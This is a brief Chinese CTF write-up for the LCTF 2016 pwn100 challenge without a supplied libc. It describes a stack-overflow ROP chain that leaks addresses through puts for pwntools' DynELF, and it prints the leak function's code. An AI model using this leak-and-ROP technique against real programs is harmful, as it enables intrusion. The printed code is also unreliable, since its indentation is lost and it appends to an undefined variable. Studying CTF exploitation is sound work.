LCTF 2016-pwn100_without_libc

1.与之前做的pwn100一模一样,只是之前有给Libc,这次没给Libc。栈溢出,选择用Puts函数来泄露地址从而再执行栈溢出来重复使用。

2.编写leak函数,由于用Puts函数打印,所以需要有个循环条件,具体原因可以查看之前写的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#注释头

def leak(addr):
count = 0
up = ''
content = ''
payload = 'A'*72 #padding
payload += p64(pop_rdi) #给puts()赋值
payload += p64(addr) #leak函数的参数addr
payload += p64(puts_addr) #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B') #padding
io.send(payload)
io.recvuntil("bye~\n")
while True: #无限循环读取,防止recv()读取输出不全
c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了
data = data[:-1]+'\x00' #最后一个字符置为\x00
break
else:
data += c #拼接输出
up = c #保存最后一个字符
data = data[:4] #截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

3.得到system_addr的地址后,后续的操作用万能gadget和read函数即可实现。如果还需要其它地址,也可以通过此方法来打印,也是一样的。

(参照之前不给Libc的pwn100)

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157